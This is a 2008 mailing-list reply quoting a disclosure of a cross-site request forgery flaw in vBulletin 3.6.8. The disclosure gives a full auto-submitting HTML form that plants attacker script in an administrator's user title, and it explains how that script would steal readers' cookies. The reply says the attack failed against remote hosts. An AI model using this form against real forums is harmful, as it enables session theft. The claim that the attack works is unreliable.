Am Samstag 05 Januar 2008 22:46:14 schrieb nbbn@gmx.net:
> ################################################## #############
> Autor: NBBN
> Founded: 5, January 2008
> vBulletin Version: 3.6.8 Patch Level x and possible lower
> Type: XSRF/XSS
> Risk: Medium
> ################################################## #############
>
> ##Explanation(english)##
>
> My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.
> Administrators can use html in there own usertitle.
> An attacker can update the profile of an administrator by sending a link
> to a site with a code like this:
>
>
> <html>
> <head></head>
> <body onLoad=3Djavascript:document.form.submit()>
>
> <form
> action=3D"http://domain.tld/[path]/vBulletin/profile.php?do=3Dupdateprofi=
le"
> method=3D"POST" name=3D"form">
>
> <input type=3D"hidden" name=3D"s" value=3D"">
> <input type=3D"hidden" name=3D"do" value=3D"updateprofile">
> <input type=3D"hidden" name=3D"customtext" value=3D"###########XSS
> CODE#########"> <!-- Attacker's XSS Code -->
> <input type=3D"hidden" name=3D"month" value=3D"-1">
> <input type=3D"hidden" name=3D"day" value=3D"-1">
> <input type=3D"hidden" name=3D"year" value=3D"">
> <input type=3D"hidden" name=3D"oldbirthday" value=3D"">
> <input type=3D"hidden" name=3D"showbirthday" value=3D"2">
> <input type=3D"hidden" name=3D"homepage" value=3D"">
> <input type=3D"hidden" name=3D"icq" value=3D"">
> <input type=3D"hidden" name=3D"aim" value=3D"">
> <input type=3D"hidden" name=3D"msn" value=3D"">
> <input type=3D"hidden" name=3D"yahoo" value=3D"">
> <input type=3D"hidden" name=3D"skype" value=3D"">
> </form>
> </body>
> </html>
>
> If an attacker send a link in a pm for example, to the admin with a site
> like the example code, the admin's usertitle updating and have a the code
> of the attacker.The code executing if the admin have a post done in a
> thread etc. An attacker can use this to steal the cookie of all user's who
> are reading the thread.
>
>
> ##Explanation(Deutsch/German)##:
>
> In vBulletin 3.6.8 gibt es eine XSRF L=FCcke, die dazu benutzt werden kan=
n,
> um XSS Code auszuf=FChren. Admins k=F6nnen in ihren eigenen Benutzerrang =
HTML
> Code verwenden. Das kann ein Angreifer ausnutzen um beliebigen
> html/javascript code auszuf=FChren, wenn er den oben stehenden code in ei=
ne
> Seite packt und dann dem Admin eine Private Nachricht sendet, mit einem
> Link zu einer Seite mit dem obigen HTML-Code. Somit ist es dem Angreifer
> m=F6glich, alle Cookies von den Benutzern zu klauen, die gerade einen Thr=
ead
> lesen,in welchem ein Administrator gepostet hat.


Sorry this not work, tested only at localhost, but from remote host's it=20
doesn't work.=20